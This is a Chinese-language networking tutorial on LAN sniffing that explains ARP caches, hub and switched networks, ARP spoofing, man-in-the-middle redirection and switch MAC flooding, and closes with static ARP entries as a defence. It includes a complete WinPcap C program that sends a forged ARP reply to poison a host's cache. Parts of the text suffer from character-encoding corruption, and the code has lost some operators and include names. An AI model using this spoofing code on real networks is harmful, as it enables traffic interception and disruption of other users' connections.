以太網(wǎng)內(nèi)的嗅探(sniff)對于網(wǎng)絡(luò)安全來說并不是什么好事, 雖然對于網(wǎng)絡(luò)管理員能夠跟蹤數(shù)據(jù)包并且發(fā)現(xiàn)網(wǎng)絡(luò)問題, 但是如果被破壞者利用的話, 就對整個網(wǎng)絡(luò)構(gòu)成嚴(yán)重的安全威脅。 至于嗅探的好處和壞處就不羅嗦了。
ARP緩存表
假設(shè)這樣一個網(wǎng)絡(luò):
—————————— HUB —————————— HostA HostB HostC
其中
A的地址為:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
假設(shè)B是屬于一個嗅探愛好者的, 比如A機(jī)器的ARP緩存:
C:\>arp -aInterface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic |
這是192.168.10.1機(jī)器上的ARP緩存表, 假設(shè), A進(jìn)行一次ping 192.168.10.3操作, PING主機(jī)C, 會查詢本地的
ARP緩存表, 找到C的IP地址的MAC地址, 那么就會進(jìn)行數(shù)據(jù)傳輸, 目的地就是C 的MAC地址。 如果A中沒有C的ARP記
錄, 那么A首先要廣播一次ARP請求, 當(dāng)C接收到A 的請求后就發(fā)送一個應(yīng)答, 應(yīng)答中包含有C的MAC地址, 然后A接
收到C的應(yīng)答, 就會更新本地的ARP緩存。 接著使用這個MAC地址發(fā)送數(shù)據(jù)(由網(wǎng)卡附加MAC地址)。
因此, 本地高速緩存的這個ARP表是本地網(wǎng)絡(luò)流通的基礎(chǔ), 而且這個緩存是動態(tài)的。
集線器網(wǎng)絡(luò)(Hub-Based)
很多網(wǎng)絡(luò)都是用Hub進(jìn)行連接的。 數(shù)據(jù)包經(jīng)過Hub傳輸?shù)狡渌?jì)算機(jī)的時候, Hub只是簡單地把這個數(shù)據(jù)包廣播
到Hub的所有端口上。
這就是上面舉例中的一種網(wǎng)絡(luò)結(jié)構(gòu)。
現(xiàn)在A需要發(fā)送TCP數(shù)據(jù)包給C。 首先, A需要檢查本地的ARP 緩存表, 查看是否有IP為192.168.10.3即C的ARP記
錄, 如果沒有那么A將要廣播一個ARP請求, 當(dāng)C接收到這個請求后, 就作出應(yīng)答, 然后A更新自己的ARP緩存表。 并
且獲得與C的IP相對應(yīng)的MAC地址。 這時就傳輸這個TCP數(shù)據(jù)包, Ethernet幀中就包含了C的MAC地址。 當(dāng)數(shù)據(jù)包傳輸
到HUB的時候, HUB直接把整個數(shù)據(jù)包廣播到所有的端口, 然后C就能夠接收到A發(fā)送的數(shù)據(jù)包。
正因?yàn)镠UB把數(shù)據(jù)廣播到所有的端口, 所以計(jì)算機(jī)B也能夠收到A發(fā)送給C的數(shù)據(jù)包。 這正是達(dá)到了B嗅探的目的。
因此, Hub-Based的網(wǎng)絡(luò)基本沒有安全可言, 嗅探在這樣的網(wǎng)絡(luò)中非常容易。
交換網(wǎng)絡(luò)(Switched Lan)
交換機(jī)用來代替HUB, 正是為了能夠解決HUB的幾個安全問題, 其中就是能夠來解決嗅探問題。 Switch不是把數(shù)
據(jù)包進(jìn)行端口廣播, 它將通過自己的ARP緩存來決定數(shù)據(jù)包傳輸?shù)侥莻端口上。 因此, 在交換網(wǎng)絡(luò)上, 如果把上面
例子中的HUB換為Switch, B就不會接收到A發(fā)送給C的數(shù)據(jù)包, 即便設(shè)置網(wǎng)卡為混雜模式, 也不能進(jìn)行嗅探。
ARP欺騙( ARP spoofing)
ARP協(xié)議并不只在發(fā)送了ARP請求才接收ARP應(yīng)答。 當(dāng)計(jì)算機(jī)接收到ARP應(yīng)答數(shù)據(jù)包的時候, 就會對本地的ARP緩存
進(jìn)行更新, 將應(yīng)答中的IP和MAC地址存儲在ARP緩存中。 因此, 在上面的假設(shè)網(wǎng)絡(luò)中, B向A發(fā)送一個自己偽造的ARP應(yīng)
答, 而這個應(yīng)答中的數(shù)據(jù)為發(fā)送方IP地址是192.168.10.3(C的IP地址), MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地
址本來應(yīng)該是CC-CC-CC-CC-CC-CC, 這里被偽造了)。 當(dāng)A接收到B偽造的ARP應(yīng)答, 就會更新本地的ARP緩存(A可不
知道被偽造了)。
現(xiàn)在A機(jī)器的ARP緩存更新了:
C:\>arp -aInterface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic |
這可不是小事。 局域網(wǎng)的網(wǎng)絡(luò)流通可不是根據(jù)IP地址進(jìn)行, 而是按照MAC地址進(jìn)行傳輸。 現(xiàn)在192.168.10.3的
MAC地址在A上被改變成一個本不存在的MAC地址。 現(xiàn)在A開始Ping 192.168.10.3, 網(wǎng)卡遞交的MAC地址是
DD-DD-DD-DD-DD-DD, 結(jié)果是什么呢?網(wǎng)絡(luò)不通, A根本不能Ping通C。
這就是一個簡單的ARP欺騙。
我們來實(shí)現(xiàn)這樣的ARP欺騙。 這里需要使用一個WinPcap提供的API和驅(qū)動。 (http://winpcap.polito.it/)
winpcap是一個偉大而且開放的項(xiàng)目。 Windows環(huán)境下的nmap、snort、windump都是使用的winpcap。
/////////////////////////////////////////////////////////// ARP Sender//// Creator: Refdom// Email: refdom@263.net// Home Page: www.opengram.com//// 2002/4/7/////////////////////////////////////////////////////////#include "stdafx.h"#include "Mac.h"//GetMacAddr(), 我寫的把字符串轉(zhuǎn)換為MAC地址的函數(shù), 就不列在這里了#include #include #define EPT_IP0x0800/* type: IP*/#define EPT_ARP0x0806/* type: ARP */#define EPT_RARP0x8035/* type: RARP */#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */#defineARP_REQUEST0x0001/* ARP request */#defineARP_REPLY0x0002/* ARP reply */#define Max_Num_Adapter 10#pragma pack(push, 1)typedef struct ehhdr {unsigned chareh_dst[6];/* destination ethernet addrress */unsigned chareh_src[6];/* source ethernet addresss */unsigned shorteh_type;/* ethernet pachet type*/}EHHDR, *PEHHDR;typedef struct arphdr{unsigned shortarp_hrd;/* format of hardware address */unsigned shortarp_pro;/* format of protocol address */unsigned chararp_hln;/* length of hardware address */unsigned chararp_pln;/* length of protocol address */unsigned shortarp_op;/* ARP/RARP operation */unsigned chararp_sha[6];/* sender hardware address */unsigned longarp_spa;/* sender protocol address */unsigned chararp_tha[6];/* target hardware address */unsigned longarp_tpa;/* target protocol address */}ARPHDR, *PARPHDR;typedef struct arpPacket{EHHDRehhdr;ARPHDRarphdr;} ARPPACKET, *PARPPACKET;#pragma pack(pop)int main(int argc, char* argv[]){static char AdapterList[Max_Num_Adapter][1024];char szPacketBuf[600];char MacAddr[6];LPADAPTERlpAdapter;LPPACKETlpPacket;WCHARAdapterName[2048];WCHAR*temp,*temp1;ARPPACKET ARPPacket;ULONG AdapterLength = 1024;int AdapterNum = 0;int nRetCode, i;//Get The list of Adapterif(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE){printf("Unable to retrieve the list of the adapters!\n");return 0;}temp = AdapterName;temp1=AdapterName;i = 0;while ((*temp != '\0') (*(temp-1) != '\0')){if (*temp == '\0') {memcpy(AdapterList[i],temp1,(temp-temp1)*2);temp1=temp+1;i++;}temp++;}AdapterNum = i;for (i = 0; i < AdapterNum; i++)wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);printf("\n");//Default open the 0lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]); //取第一個網(wǎng)卡(假設(shè)啦)if (!lpAdapter (lpAdapter->hFile == INVALID_HANDLE_VALUE)){nRetCode = GetLastError();printf("Unable to open the driver, Error Code : %lx\n", nRetCode);return 0;}lpPacket = PacketAllocatePacket();if(lpPacket == NULL){printf("\nError:failed to allocate the LPPACKET structure.");return 0;}ZeroMemory(szPacketBuf, sizeof(szPacketBuf));if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)){printf ("Get Mac address error!\n");}memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。 (A的地址)ARPPacket.ehhdr.eh_type = htons(EPT_ARP);ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);ARPPacket.arphdr.arp_pro = htons(EPT_IP);ARPPacket.arphdr.arp_hln = 6;ARPPacket.arphdr.arp_pln = 4;ARPPacket.arphdr.arp_op = htons(ARP_REPLY);if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//偽造的C的MAC地址ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目標(biāo)A的MAC地址ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目標(biāo)A的IP地址memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));PacketInitPacket(lpPacket, szPacketBuf, 60);if(PacketSetNumWrites(lpAdapter, 2)==FALSE){ printf("warning: Unable to send more than one packet in a single write!\n");}if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE){printf("Error sending the packets!\n");return 0;}printf ("Send ok!\n");// close the adapter and exitPacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);return 0;} |
于是A接收到一個被偽造的ARP應(yīng)答。 A被欺騙了。√热粼诰钟蚓W(wǎng)中看某某機(jī)器不順眼, ……
以太網(wǎng)中的嗅探太有作用了, 但是交換網(wǎng)絡(luò)對嗅探進(jìn)行了限制, 讓嗅探深入程度大打折扣。 不過, 很容易就能
夠發(fā)現(xiàn), 主機(jī)、Switch(動態(tài)更新地址表類型, 下同)中的緩存表依然是(主要是)動態(tài)的。 要在一個交換網(wǎng)絡(luò)中
進(jìn)行有效的嗅探工作(地下黨?), 需要采用對付各種緩存表的辦法, 連騙帶哄, 甚至亂踹, 在上面的ARP欺騙基礎(chǔ)
中我們就能夠做到。
對目標(biāo)進(jìn)行ARP欺騙
就象上面程序中實(shí)現(xiàn)的一樣, 對目標(biāo)A進(jìn)行欺騙, A去Ping主機(jī)C卻發(fā)送到了DD-DD-DD-DD-DD-DD這個地址上。 如
果進(jìn)行欺騙的時候, 把C的MAC地址騙為BB-BB-BB-BB-BB-BB, 于是A發(fā)送到C上的數(shù)據(jù)包都變成發(fā)送給B的了。 這不正
好是B能夠接收到A發(fā)送的數(shù)據(jù)包了么, 嗅探成功。
A對這個變化一點(diǎn)都沒有意識到, 但是接下來的事情就讓A產(chǎn)生了懷疑。 因?yàn)锳和C連接不上了!B對接收到A發(fā)送
給C的數(shù)據(jù)包可沒有轉(zhuǎn)交給C。
做“man in the middle”,進(jìn)行ARP重定向。 打開B的IP轉(zhuǎn)發(fā)功能, A發(fā)送過來的數(shù)據(jù)包, 轉(zhuǎn)發(fā)給C, 好比一個路由
器一樣。 不過, 假如B發(fā)送ICMP重定向的話就中斷了整個計(jì)劃。
直接進(jìn)行整個包的修改轉(zhuǎn)發(fā), 捕獲到A發(fā)送給的數(shù)據(jù)包, 全部進(jìn)行修改后再轉(zhuǎn)發(fā)給C, 而C接收到的數(shù)據(jù)包完全認(rèn)為
是從A發(fā)送來的。 不過, C發(fā)送的數(shù)據(jù)包又直接傳遞給A, 倘若再次進(jìn)行對C的ARP欺騙。 現(xiàn)在B就完全成為A與C的中間橋
梁了。
對Switch的MAC欺騙
Switch上同樣維護(hù)著一個動態(tài)的MAC緩存, 它一般是這樣, 首先, 交換機(jī)內(nèi)部有一個對應(yīng)的列表, 交換機(jī)的端口對
應(yīng)MAC地址表Port n <-> Mac記錄著每一個端口下面存在那些MAC地址, 這個表開始是空的, 交換機(jī)從來往數(shù)據(jù)幀中學(xué)
習(xí)。 舉例來說, 當(dāng)Port 1口所接的計(jì)算機(jī)發(fā)出了一個數(shù)據(jù)幀, 這幀數(shù)據(jù)從Port 1進(jìn)入交換機(jī), 交換機(jī)就取這個數(shù)據(jù)幀
的原MAC地址AAAA, 然后在地址表中記錄:Port 1 <-> AAAA, 以后, 所有發(fā)向MAC地址為AAAA的數(shù)據(jù)幀, 就全從Port 1
口輸出, 而不會從其它的口輸出。
跟前面對目標(biāo)進(jìn)行欺騙相類似。 如果把Switch上的MAC-PORT表修改了, 那么對應(yīng)的MAC和PORT就一樣跟著改變, 本來
不應(yīng)該發(fā)送到嗅探器的數(shù)據(jù)結(jié)果發(fā)送過來了, 這樣也達(dá)到了嗅探的目的。 修改本地(B)發(fā)送的數(shù)據(jù)包MAC地址為原來A的
MAC地址, 當(dāng)經(jīng)過交換機(jī)的時候, 交換機(jī)發(fā)現(xiàn)端口B對應(yīng)的地址是機(jī)器A的MAC地址, 于是就將會把A的MAC地址同端口B相對
應(yīng), 從而把發(fā)送給A的數(shù)據(jù)從端口B傳輸了, 本來這些應(yīng)該是傳送到端口A的。 因此, 從機(jī)器B就能夠獲得發(fā)送給A的數(shù)據(jù)。
但是, 這里有一個問題, A將接收不到數(shù)據(jù)了。 嗅探不目的并不是要去破壞正常的數(shù)據(jù)通訊。 同時, 從剛才的欺騙中,
讓交換機(jī)中一個MAC地址對應(yīng)了多個端口, 這種對于交換機(jī)處理還不清楚。 還請多指教。
對Switch進(jìn)行Flood
就象上面介紹Switch的MAC和Port對應(yīng)關(guān)系形成的原理, 因?yàn)镸AC-PORT緩存表是動態(tài)更新的, 那么讓整個Switch的端
口表都改變, 對Switch進(jìn)行MAC地址欺騙的Flood, 不斷發(fā)送大量假M(fèi)AC地址的數(shù)據(jù)包, Switch就更新MAC-PORT緩存, 如果
能通過這樣的辦法把以前正常的MAC和Port對應(yīng)的關(guān)系破壞了, 那么Switch就會進(jìn)行泛洪發(fā)送給每一個端口, 讓Switch基
本變成一個HUB, 向所有的端口發(fā)送數(shù)據(jù)包, 要嗅探的目的一樣能夠達(dá)到。
存在的問題, Switch對這種極限情況的處理, 因?yàn)閷儆诓徽G闆r, 可能會引起包丟失情況。 而且現(xiàn)在對這種極限情
況的Switch狀態(tài)還很不了解。 如果對網(wǎng)絡(luò)通訊造成了大的破壞, 這不屬于正常的嗅探(嗅探也會引起一些丟失)。
對Switch進(jìn)行各種手段的操作, 需要小心, 如果打開了端口保護(hù), 那么可能會讓交換機(jī)關(guān)閉所有用戶。 因此, 對交換
機(jī)這樣的設(shè)備進(jìn)行欺騙或者其他操作, 還不如對一些上級設(shè)備進(jìn)行欺騙, 比如目標(biāo)主機(jī)或者路由器。
至于上面關(guān)于嗅探的手段都是基于這個動態(tài)表進(jìn)行的。 因此, 使用靜態(tài)的ARP就能夠進(jìn)行防范了。 對于WIN, 使用
arp -s 來進(jìn)行靜態(tài)ARP的設(shè)置。
感謝winpcap這個開放項(xiàng)目, 也感謝Dancefire提供的大量幫助和指正。 我在網(wǎng)絡(luò)設(shè)備上的了解還很不夠, 還請多指正。